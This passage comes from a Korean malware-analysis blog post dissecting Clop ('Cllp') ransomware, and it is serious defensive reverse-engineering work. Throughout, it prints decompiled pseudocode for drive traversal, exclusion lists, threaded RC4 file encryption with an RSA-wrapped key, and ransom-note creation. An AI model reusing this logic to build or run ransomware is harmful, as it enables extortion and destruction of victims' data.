|| sub_401000(path) // 디렉토리 해싱 비교
|| sub_402B80((int)v33, (char *)L"\\Desktop")
|| sub_402B80((int)v33, (char *)L"\\DESKTOP") )
{
v14 = a5;
lstrcpyW(String1, drive_name);
goto LABEL_42;
}
...생략
}
String1에는 인자로 넘어온 드라이브 명과 그 드라이브 하위에 들어있는 모든 파일 및 폴더의 경로가 담긴다
String1 ⇒ ex) C:\*.*
FindFirstFileW
: String1에 담긴 path의 첫번째 파일 및 폴더를 찾고 핸들 반환
sub_401000(drive_name)
: 인자로 넘어온 drive_name 즉 디렉토리 명과 일치하는 해시값 검색. 존재한다면 암호화 하지 않음int __cdecl sub_401000(LPCWSTR pszPath) { const WCHAR *v1; // eax WCHAR *v2; // edx unsigned int v3; // ecx WCHAR v4; // ax WCHAR String1[1040]; // [esp+0h] [ebp-824h] BYREF v1 = PathFindFileNameW(pszPath); lstrcpyW(String1, v1); CharUpperW(String1); v2 = String1; v3 = 0; if ( String1[0] ) { v4 = String1[0]; do { ++v2; v3 = v4 ^ __ROL4__(v3, 7); v4 = *v2; } while ( *v2 ); if ( v3 <= 0x6FB678AE ) { if ( v3 != 0x6FB678AE ) { if ( v3 > 0x3830E441 ) { if ( v3 > 0x621EC8D1 ) { if ( v3 != 0x68347478 && v3 != 0x693126B4 ) return v3 == 0x6932F547; } else if ( v3 != 0x621EC8D1 ) .....
디렉토리 명을 특정 연산을 통해 해시값을 추출하고, 미리 세팅된 해시 값들과 비교. 일치하면 True 반환
sub_402B80
: 두번째 인자로 넘어온 파일 및 폴더 명과 일치하는 해시값 검색. 존재하면 암호화 하지 않음. 즉 \Desktop 폴더는 암호화 하지 않음
즉 특정 디렉토리와 Desktop 디렉토리를 해싱 비교하여, 하나라도 참인 결과가 나오면 드라이브 명을 String1에 다시 복사한뒤 LABEL_42로 이동한다.
...
LABEL_42:
lstrcatW(String1, L"\\*.*");
result = FindFirstFileW(String1, &FindFileData);
v25 = result;
if ( result )
{
result = (void *)sub_401000(path);
if ( !result )
{
result = sub_402B80((int)v33, (char *)L"\\Desktop");
if ( !result )
{
result = sub_402B80((int)v33, (char *)L"\\DESKTOP");
if ( !result )
{
if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0//디렉토리면
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".") )
{
lstrcpyW(file_path, path);
lstrcatW(file_path, L"\\");
lstrcatW(file_path, FindFileData.cFileName);
sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
// ex) file_path => C:\$Recycle.Bin
}
while ( FindNextFileW(v25, &FindFileData) )
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0
&& strcmp_(FindFileData.cFileName, L"..") )
{
if ( strcmp_(FindFileData.cFileName, L".") )
{
lstrcpyW(file_path, path);
lstrcatW(file_path, L"\\");
lstrcatW(file_path, FindFileData.cFileName);
sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
}
}
}
result = (void *)FindClose(v25);
}
}
}
}
return result;
LABEL_42 에서 다시 디렉토리 명으로 해싱 비교를 하고 Desktop 폴더인지 체크를 한다. 그다음 현재 FindFirstFileW
함수로 얻은 핸들값을 통해 디렉토리 첫 파일이 파일인지 폴더인지 비교를 하고, 폴더면 조건문 안으로 들어온다
ex) file_path ⇒ C:\$Recycle.Bin
선택된 폴더가 '. or .. ' 이 아니면 file_path를 다시 첫번째 인자로 하여 재귀를 한다.
정리를 하면 루트 path 부터 하위 폴더를 탐색하여 특정 폴더들은 암호화 루틴에서 제외한다. 흐름은 다음과 같다
- 드라이브 명 예를 들어 C: 를 첫 인자로 하여 sub_401BD0 함수가 처음 호출된다
- 컴퓨터가 내부적으로 동작하는데 필요한 폴더 path를 해시비교하여 암호화 루틴에서 제외한다
- sub_402B80 : 현재의 파일 핸들값이 두번째 인자로 들어온 문자열과 동일하면 해당 파일 및 폴더도 암호화 루틴에서 제외한다
- 폴더면 재귀를 돌면서 계속 1-2를 반복한다
다시 위로 올라가서 초기 조건문을 만족하지 않는 루틴을 확인해보자
...
{
v14 = a5;
lstrcpyW(String1, path);
goto LABEL_42;
}
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
&& lstrcmpW(FindFileData.cFileName, L"..")
&& lstrcmpW(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
//
&& !sub_4012D0(FindFileData.cFileName) // 아깐 디렉토리 여긴 파일해싱비교
&& !sub_403280(FindFileData.cFileName) ) // 확장자 체크
{
...
}
v14 = a5;
v18 = path;
v27 = a5;
LABEL_22:
while ( FindNextFileW(hFindFile, &FindFileData) ) // 다음 파일 검사
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)
&& !sub_4012D0(FindFileData.cFileName)
&& !sub_403280(FindFileData.cFileName) )
{
....
만약 초기에 Desktop 디렉토리도 아니고, 특정 해싱된 값과 일치하는 파일 및 폴더가 아니면 위 코드 루틴으로 오게 된다. 조건문에 만족하려면 아래의 조건을 만족해야한다
ex) file path ⇒ C:\bootmgr (파일임)
- 현재 file path가 디렉토리가 아니라 파일이고 파일명이 ' . or .. ' 아닐때
sub_402B80()
: 랜섬노트 파일명과 동일하지 않아야함
sub_4012D0
: 현재 파일 명과 동일한 해시값이 없어야함
sub_403280
: 확장자 체크. 특정 확장자는 역시 암호화 루틴에서 제외int __cdecl sub_403280(LPCWSTR lpString2) { ... *(_DWORD *)v13 = 'T\0.'; v14 = 'F\0T'; v15 = '\0'; v17 = 0; v16 = '\0'; *(_DWORD *)v73 = 'C\0.'; v74 = 'L\0L'; v75 = 'P'; v76 = '\0'; v78 = 0; v77 = '\0'; *(_DWORD *)v68 = 'O\0.'; v69 = 'X\0C'; v70 = '\0'; v72 = 0; v71 = '\0'; ... *(_DWORD *)v63 = 'D\0.'; v64 = 'L\0L'; v65 = '\0'; v67 = 0; v66 = '\0'; *(_DWORD *)v58 = 'E\0.'; v59 = 'E\0X'; v60 = '\0'; v62 = 0; v61 = '\0'; ... lstrcpyW(String1, lpString2); CharUpperW(String1); if ( sub_402B80((int)String1, (char *)String) || sub_402B80((int)String1, (char *)v68) || sub_402B80((int)String1, (char *)v63) || sub_402B80((int)String1, (char *)v58) || sub_402B80((int)String1, (char *)v53) || sub_402B80((int)String1, (char *)v48) || sub_402B80((int)String1, (char *)v43) || sub_402B80((int)String1, (char *)v38) || sub_402B80((int)String1, (char *)v33) || sub_402B80((int)String1, (char *)v28) || sub_402B80((int)String1, (char *)v23) || sub_402B80((int)String1, (char *)v18) || sub_402B80((int)String1, (char *)v13) || sub_402B80((int)String1, (char *)v8) || sub_402B80((int)String1, (char *)v3) || (result = (int)sub_402B80((int)String1, (char *)v73)) != 0 ) { result = 1; } return result; }
만약 위 조건에 하나라도 만족하지 못하는 파일이라면 while문으로 빠지게 되고 다시 FindNextFileW
함수를 이용하여 계속 다른 파일을 검사한다. 이번엔 조건에 만족하는 루틴을 확인해보자
...
hFindFile = FindFirstFileW(String1, &FindFileData);
...
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
&& lstrcmpW(FindFileData.cFileName, L"..")
&& lstrcmpW(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
//
&& !sub_4012D0(FindFileData.cFileName) // 아깐 디렉토리 여긴 파일해싱비교
&& !sub_403280(FindFileData.cFileName) ) // 확장자 체크
{
wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
SetFileAttributesW(FileName, 0x80u);
if ( sub_4039C0(FileName) ) // 파일이 존재하는지 체크
{
if ( a6 == 1 )
{
wsprintfW(String2, L"\\\\?\\%s", v33);
size_high = FindFileData.nFileSizeHigh;
size_low = FindFileData.nFileSizeLow;
v12 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
lstrcpyA(v12->pubkey, (LPCSTR)pubkey); // 얜 그냥 공개키 -> 문자열
lstrcpyW(v12->filename, FindFileData.cFileName);
lstrcpyW(v12->dir_path, String2);
v12->pki = pvstructinfo;
v12->hProv = phProv;
v12->hKey = phKey; // 이놈이 실제로 바이너리로 변환된 공개키정보 가지고 있음
LODWORD(v12->file_size) = size_low;
HIDWORD(v12->file_size) = size_high;
GlobalLock(v12);
v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v12, 0, 0);
}
...
while ( FindNextFileW(hFindFile, &FindFileData) )
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)
&& !sub_4012D0(FindFileData.cFileName)
&& !sub_403280(FindFileData.cFileName) )
{
wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
SetFileAttributesW(FileName, FILE_ATTRIBUTE_NORMAL);
if ( sub_4039C0(FileName) ) // 파일이 존재하면
{
v19 = FindFileData.nFileSizeHigh;
v20 = FindFileData.nFileSizeLow;
if ( a6 == 1 )
wsprintfW(String2, L"\\\\?\\%s", v33);
else
wsprintfW(String2, L"\\\\?\\%s", v33);
v21 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
lstrcpyA(v21->pubkey, (LPCSTR)pubkey);
lstrcpyW(v21->filename, FindFileData.cFileName);
lstrcpyW(v21->dir_path, String2);
LODWORD(v21->file_size) = v20;
HIDWORD(v21->file_size) = v19;
v21->pki = pvstructinfo;
v21->hProv = phProv;
v21->hKey = phKey;
GlobalLock(v21);
v22 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v21, 0, 0);
....
첫번째 파일을 우선 검사한다. sub_4039C0
함수를 통해 현재 체킹하는 파일이 존재하면 인자로 넘어왔던 중요 값들은 구조체에 담아 쓰레드를 생성하고, 해당 쓰레드에서 실제 암호화가 수행된다.
그다음 루프를 돌면서 다음 파일도 검사하여 조건에 맞으면 쓰레드를 생성하여 암호화를 수행한다
여기까지의 과정을 정리하면 다음과 같다 모든 폴더(A-Z)를 탐색하면서 특정 폴더 및 파일과 특정 확장자들을 제외하곤 전부 암호화를 시도한다.
암호화 제외 대상
Hash | Path | Attribute |
---|---|---|
0x28B5FD61 | TOR BROWSER | Directory |
0x45575934 | BOOT.INI | File |
0x55B2AC88 | SYSTEM VOLUME INFORMATION | Directory |
0x6932F547 | PERFLOGS | Directory |
0x7933A751 | WINNT | Directory |
0x7A53F792 | AUTOEXEC.BAT | File |
0x8916CC4 | APPDATA | Directory |
0x89D322CE | AHNLAB | Directory |
0x8A53E4D9 | CHROME | Directory |
0x917FE531 | BOOTSECT.BAK | File |
0x9663BE08 | RECYCLE.BIN | File |
0xA932103 | MOZILLA 추정 | Directory |
0xB7E0EDC0 | MICROSOFT | Directory |
0xD6452416 | DESKTOP.INI | File |
0xE2C4812A | NTUSER.DAT.LOG | File |
0xE892B59F | WINDOWS | Directory |
0xEA932256 | NTLDR | Directory |
0xFA12254F | SOPHOS | Directory |
0xFA747F45 | RECOVERY | Directory |
0xFA9269AE | BOOTMGR | File |
0xb890e4cf | PACKAGES | Directory |
암호화 제외 확장자
확장자 | 설명 |
---|---|
.CI0P | 과거 암호화 파일 확장자 |
.OCX | ActiveX 파일 |
.DLL | 동적 라이브러리 |
.EXE | 실행파일 |
.SYS | 드라이버 파일 |
.LNK | 바로가기 파일 |
.ICO | 아이콘 파일 |
.INI | 설정 파일 |
.MSI | 설치 파일 |
.CHM | 도움말 파일 |
.HLF | |
.LNG | 언어팩 파일 |
.TTF | 폰트 파일 |
.CMD | 배치 파일 |
.BAT | 배치 파일 |
.CLLP | 현재 랜섬웨어 암호화 파일 |
주요함수 4) encrypted_thread
void __stdcall __noreturn encrypted_thread(thread_args *args)
{
...
memset(String1, 0, 0x410u);
lstrcpyW(String1, args->dir_path);
lstrcatW(String1, args->filename);
wsprintfW(FileName, L"%s%s.Cllp", v1->dir_path, v1->filename);
if ( sub_4039C0(FileName) )
goto LABEL_34;
v2 = args;
if ( args->file_size <= 0x4268 )
goto LABEL_34;
v3 = CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0);
v4 = (void (__stdcall *)(HANDLE))CloseHandle;
v5 = v3;
hFile = v3;
if ( v3 != (HANDLE)-1 )
{
if ( args->file_size > 0x2089D0 )
{
... // 암호화 루틴
}
else
{
... // 암호화 루틴
}
v5 = hFile;
}
...
LABEL_34:
if ( v1 )
{
GlobalUnlock(v1);
GlobalFree(v1);
}
ExitThread(0);
}
타겟이 되는 파일의 path와 파일명을 String1에 담고 타겟 파일명.Cllp
을 FileName에 저장한다.
sub_4039C0(FileName)
: FileName 명으로 파일 생성char __cdecl sub_4039C0(LPCWSTR lpFileName) { HANDLE v1; // eax v1 = CreateFileW(lpFileName, 0xC0000000, 3u, 0, 3u, 0, 0); if ( v1 == (HANDLE)-1 ) return 0; CloseHandle(v1); return 1; }
- 타겟 파일 사이즈가 0x4268보다 같거나 작으면 암호화 하지 않는다
CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0)
: 타겟이 되는 파일 open
- 타겟이 되는 파일의 사이즈가 0x2089D0 크면 암호화
- 타겟이 되는 파일의 사이즈가 0x4268보다 크고 0x2089D0 보다 같거나 작으면 암호화
파일의 사이즈에 따라서 암호화 루틴이 달라진다. 우선 0x2089D0 보다 큰 사이즈의 루틴을 확인해보자
1) File Size > 0x2089D0
...
if ( args->file_size > 0x2089D0 )
{
v16 = CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0);
NumberOfBytesRead = (DWORD)v16;
if ( !v16 )
goto LABEL_31;
lpBuffer = MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u);
if ( !lpBuffer )
goto LABEL_31;
v17 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
v18 = v17;
if ( v17 )
{
memset(v17, 0, 0x75u);
for ( i = 0; i < 117; ++i )
v18[i] = sbox[sub_402B40(0, 256)];
if ( !*v18 && !v18[1] && !v18[2] && !v18[3] && !v18[5] )
{
qmemcpy(v18, &unk_41B000, 0x75u);
v2 = v33;
}
nNumberOfBytesToRead = 0;
v20 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
&& (nNumberOfBytesToWrite = 0,
v21 = (BYTE *)VirtualAlloc(0, 0x87u, 0x3000u, 4u),
v24 = v2->hKey,
v28 = (DWORD)v21,
sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21),
WriteFile(v20, (LPCVOID)v28, nNumberOfBytesToWrite, &nNumberOfBytesToRead, 0))
&& v28 )
{
v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
VirtualFree((LPVOID)v28, 0, 0x8000u);
}
else
{
v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
}
if ( v20 )
CloseHandle(v20);
sub_403200((int)v18, 117, (int)v34); // rc4 초기화 - 키 스케줄
sub_403180((char *)lpBuffer, 2066896u, v34);// 암호화
....
}
}
...
CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0)
대용량 파일은 새로 파일을 생성해서 작업할 경 우 속도가 느려진다. 그런경우 MMF를 이용해서 메모리에 바로 매핑해서 값을 수정한다. 매핑하는 사이즈는 0x2089D0u 이다
MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u)
타겟 파일의 0x10000 오프셋 부터 ~ 0x1F89D0 까지의 파일 핸들값을 얻는다.
sbox[ sub_402B40(0, 256) ]
: 랜덤한 키 값 생성고정으로 박혀있는 256바이트의 sbox 배열에서 랜덤으로 0 ~ 256 사이의 값을 가져온다. 이는 후에 사용될 RC4 키 값 으로 이용된다
유사 난수 발생기 : 메르센 트위스터 알고리즘 사용
실제 코드
int __cdecl sub_402B40(int a1, int a2) { DWORD v2; // eax v2 = GetTickCount(); if ( v2 != dword_41C49C ) { dword_41C49C = v2; rand_init(v2); } return a1 + rand_gen() % (unsigned int)(a2 - a1 + 1); }
unsigned int rand_gen()() { int v0; // eax int i; // edx int *v2; // esi unsigned int v3; // ecx unsigned int v4; // ecx v0 = dword_41C498; if ( dword_41C498 >= 624 ) { for ( i = 0; i < 227; ++i ) dword_41BAD8[i] = dword_41C10C[i] ^ dword_41B1E4[dword_41BADC[i] & 1] ^ ((dword_41BAD8[i] ^ (dword_41BAD8[i] ^ dword_41BADC[i]) & 0x7FFFFFFFu) >> 1); if ( i < 623 ) { v2 = &dword_41BAD8[i]; do { *v2 = ((*v2 ^ (v2[1] ^ *v2) & 0x7FFFFFFFu) >> 1) ^ *(v2 - 227) ^ dword_41B1E4[v2[1] & 1]; ++v2; } while ( (int)v2 < (int)&dword_41C494 ); } v0 = 0; dword_41C494 = dword_41C108 ^ dword_41B1E4[dword_41BAD8[0] & 1] ^ ((dword_41C494 ^ (dword_41C494 ^ dword_41BAD8[0]) & 0x7FFFFFFFu) >> 1); } v3 = dword_41BAD8[v0]; dword_41C498 = v0 + 1; v4 = ((((v3 >> 11) ^ v3) & 0xFF3A58AD) << 7) ^ (v3 >> 11) ^ v3; return ((v4 & 0xFFFFDF8C) << 15) ^ v4 ^ ((((v4 & 0xFFFFDF8C) << 15) ^ v4) >> 18); }
int *__cdecl init(int a1) { int v1; // esi int *result; // eax unsigned int v3; // ecx dword_41BAD8 = a1; v1 = 1; result = &dword_41BAD8; do { v3 = v1 + 0x6C078965 * (*result ^ ((unsigned int)*result >> 30)); ++v1; result[1] = v3; ++result; } while ( (int)result < (int)&dword_41C494 ); dword_41C498 = v1; return result; }
qmemcpy(v18, &unk_41B000, 0x75u)
: 고정 키 사용가져온 키값의 0,1,2,3,5 인덱스가 널이면 고정된 키값을 사용한다. 이는 랜섬웨어 제작자가 디버깅 같은 작업을 위한 루틴이다
CreateFileW
,WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
Filename(타겟파일명.Cllp)을 생성하고, 7바이트만큼 ' Cllp^_- ' 를 쓴다
sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21)
생성한 rc4 키를 RSA 알고리즘으로 암호화 한다. 들어가는 인자들은 전에 RSA 암호화를 위해 구한 인자들이다int __cdecl sub_401420(void *Src, int a2, int a3, int a4, int a5, HCRYPTKEY hKey, BYTE *pbData) { int result; // eax DWORD Size; // [esp+0h] [ebp-8h] BYREF DWORD pdwDataLen; // [esp+4h] [ebp-4h] BYREF SetErrorMode(1u); Size = 117; pdwDataLen = 117; if ( CryptEncrypt(hKey, 0, 1, 0, 0, &pdwDataLen, 0x75u) && (memset(pbData, 0, pdwDataLen), memmove(pbData, Src, Size), CryptEncrypt(hKey, 0, 1, 0, pbData, &Size, pdwDataLen)) ) { *(_DWORD *)a2 = pdwDataLen; result = 0; } else { GetLastError(); result = 0; } return result; }
WriteFile
: 암호화된 rc4 키를 생성한 타겟파일명.Cllp 에다가 넣는다
sub_403200
: rc4 초기화 - 키 스케줄링- rc4 키 스케줄링 과정
- 실제 코드
int __cdecl sub_403200(int a1, __int16 a2, int a3) { ... v3 = a3; v4 = 0; v5 = 0; v6 = (_BYTE *)a3; v7 = 0; *(_WORD *)(a3 + 256) = 0; do *v6++ = v7++; while ( (unsigned __int16)v7 < 256 ); v8 = (char *)a3; v11 = 256; do { v9 = *v8++; v5 += v9 + *(_BYTE *)(v4 + a1); *(v8 - 1) = *(_BYTE *)(v5 + v3); LOBYTE(result) = v4 + 1; *(_BYTE *)(v5 + v3) = v9; v4 = 0; result = (unsigned __int8)result; if ( (unsigned __int8)result != a2 ) v4 = result; --v11; } while ( v11 ); return result; }
sub_403180
: 실제 파일 암호화 진행char *__cdecl sub_403180(char *a1, unsigned int a2, char *a3) { char *result; // eax unsigned int v4; // edi unsigned __int8 v5; // bh char v6; // dl char v7; // bl int v8; // edx char v9; // [esp+1Bh] [ebp+13h] result = a3; v4 = 0; v5 = a3[256]; v6 = a3[257]; if ( a2 ) { do { v7 = result[++v5]; v9 = v7 + v6; v8 = (unsigned __int8)(v7 + v6); result[v5] = result[v8]; result[v8] = v7; a1[v4++] ^= result[(unsigned __int8)(result[v5] + v7)]; v6 = v9; } while ( v4 < a2 ); result[256] = v5; result[257] = v9; } else { a3[256] = v5; a3[257] = v6; } return result; }
2) 0x4268 < File Size ≤ 0x2089D0
...
else
{
v6 = args->file_size;
NumberOfBytesRead = 0;
v28 = 0;
SetFilePointer(v3, 0x4000, 0, 0);
nNumberOfBytesToRead = v6 - 0x4000;
v7 = GlobalAlloc(0x40u, v6 - 0x4000);
v29 = v7;
if ( v7 && ReadFile(v5, v7, nNumberOfBytesToRead, &NumberOfBytesRead, 0) )
{
v8 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
v9 = v8;
if ( v8 )
{
memset(v8, 0, 0x75u);
for ( j = 0; j < 117; ++j )
v9[j] = sbox[sub_402B40(0, 256)];
if ( !*v9 && !v9[1] && !v9[2] && !v9[3] && !v9[5] )
{
qmemcpy(v9, &fixed_key, 0x75u);
v2 = v33;
}
NumberOfBytesWritten = 0;
v11 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v11, "Cllp^_-", 7u, &NumberOfBytesWritten, 0) )
{
nNumberOfBytesToWrite = 0;
v12 = VirtualAlloc(0, 0x87u, 0x3000u, 4u);
v23 = v2->hKey;
lpBuffer = v12;
encrypt_key(v9, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v23, (BYTE *)v12);
v13 = (void *)lpBuffer;
if ( WriteFile(v11, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
{
if ( v13 )
VirtualFree(v13, 0, 0x8000u);
}
}
if ( v11 )
CloseHandle(v11);
v7 = (void *)v29;
}
rc4_init((int)v9, 117, (int)v34);
v14 = nNumberOfBytesToRead;
encrypt_rc4((char *)v7, nNumberOfBytesToRead, v34);
v15 = hFile;
SetFilePointer(hFile, 0x4000, 0, 0);
WriteFile(v15, v29, v14, &v28, 0);
v7 = (void *)v29;
}
파일 사이즈가 비교적 작은 경우도 비슷하다. 차이점은 메모리 맵 파일을 이용하지 않고 일반적으로 파일을 생성하여 그곳에 암호화된 파일을 저장한다. 파일 오프셋은 0x4000 부터 EOF 까지이다.
결론적으로 파일에 대한 암호화 과정은 다음과 같이 정리 가능하다
마지막으로 암호화한 파일의 path에 랜섬노트를 생성한다
...
HIDWORD(v17->file_size) = v15;
GlobalLock(v17);
v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v17, 0, 0);
if ( a5 != a4 )
goto LABEL_14;
}
v14 = 1;
v27 = 1;
WaitForSingleObject(v13, 0xFFFFFFFF);
CloseHandle(v13);
strcmp_ = lstrcmpW;
}
else
{
v14 = a5;
v27 = a5;
}
LABEL_19:
v18 = path;
if ( 2 * wcslen(path) - 6 <= 0xC1 )
sub_403890((int)path); // 랜섬노트 생성
goto LABEL_22;
sub_403890()
: 랜섬노트 생성HGLOBAL __cdecl sub_403890(int a1) { ... SetErrorMode(1u); wsprintfW(FileName, L"%s\\README_README.txt", a1); v1 = CreateFileW(FileName, 0xC0000000, 3u, 0, 3u, 0, 0); if ( v1 != (HANDLE)-1 ) return (HGLOBAL)CloseHandle(v1); v3 = GetModuleHandleW(0); v4 = FindResourceW(v3, (LPCWSTR)0x99AB, L"ID_HTML"); v5 = LoadResource(v3, v4); v6 = LockResource(v5); nNumberOfBytesToWrite = SizeofResource(v3, v4); v7 = GlobalAlloc(0x40u, nNumberOfBytesToWrite); memmove_0(v7, v6, nNumberOfBytesToWrite); v8 = nNumberOfBytesToWrite; for ( i = 0; i < v8; ++i ) *((_BYTE *)v7 + i) ^= off_41B1F4[i + -33 * (i / 0x21)]; NumberOfBytesWritten = 0; v10 = CreateFileW(FileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0); if ( v10 != (HANDLE)-1 ) { WriteFile(v10, v7, v8, &NumberOfBytesWritten, 0); CloseHandle(v10); } return GlobalFree(v7); }
최종적으로 sub_411CB0() 함수 내부에서 A-Z 드라이브를 순회하며 모든 파일들의 암호화를 쓰레드를 이용하여 시도한다. A-Z 드라이브에 대한 암호화 작업이 끝나면 아래쪽 코드에서 두개의 쓰레드를 다시 생성하여 네트워크 공유 드라이브와 C 드라이브 폴더에 대한 암호화를 다시 시도한다
DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
....
for ( i = 0; i < 26; ++i )
{
wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
v6 = GetDriveTypeW(RootPathName);
*lpParameter = 0i64;
memmove_0(lpParameter, RootPathName, 8u);
if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
{
v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
Sleep(0x3E8u);
v11 = v7;
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
CloseHandle(v11);
}
else
{
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
}
Sleep(0x64u);
}
// 여기까지는 A-Z 드라이브 내용물들 암호화 시도
Sleep(0x1388u);
v8 = CreateThread(0, 0, sub_411000, 0, 0, 0); // 네트워크 공유 드라이브 암호화 시도
v1(v8);
Sleep(0xEA60u);
v9 = CreateThread(0, 0, sub_412000, 0, 0, 0); // C 드라이브 암호화 시도
v1(v9);
Sleep(0xFFFFFFFF);
}
while ( WaitForSingleObject(hHandle, 0xFFFFFFFF) );
Sleep(0xFFFFFFFF);
return 0;
}
3. 정리
3.1) 악성행위 중요 흐름
- 피싱 메일 같은 형태로 배포 - 해당 랜섬웨어의 유포방식은 알 수 없음
- 악성 행위가 끝나면 자가 삭제를 수행할 배치파일 생성. 이는 루프를 돌면서 끝날때까지 체크함
- WinCheckDRVs 서비스 명으로 쉘코드를 등록함
- WinCheckDRVs 서비스 하위에 자기 자신 응용 프로그램을 생성
- A-Z 드라이브와 네트워크 공유 드라이버를 돌면서 모든 파일들 암호화를 진행하고 타겟이 되는 파일이름.Cllp 형태의 키파일 생성
- 암호화 한 파일 경로에 랜섬노트 생성
3.2) 악성 행위의 중요 기능
4. 참고문헌
'보안 > 악성코드 분석' 카테고리의 다른 글
[RTF] 문서형 악성코드 분석 (0) | 2021.02.21 |
---|---|
[호크아이] 악성코드 분석 (0) | 2021.01.20 |
[hwp eps] 악성코드 분석 보고서 (0) | 2020.12.12 |
Uploaded by Notion2Tistory v1.1.0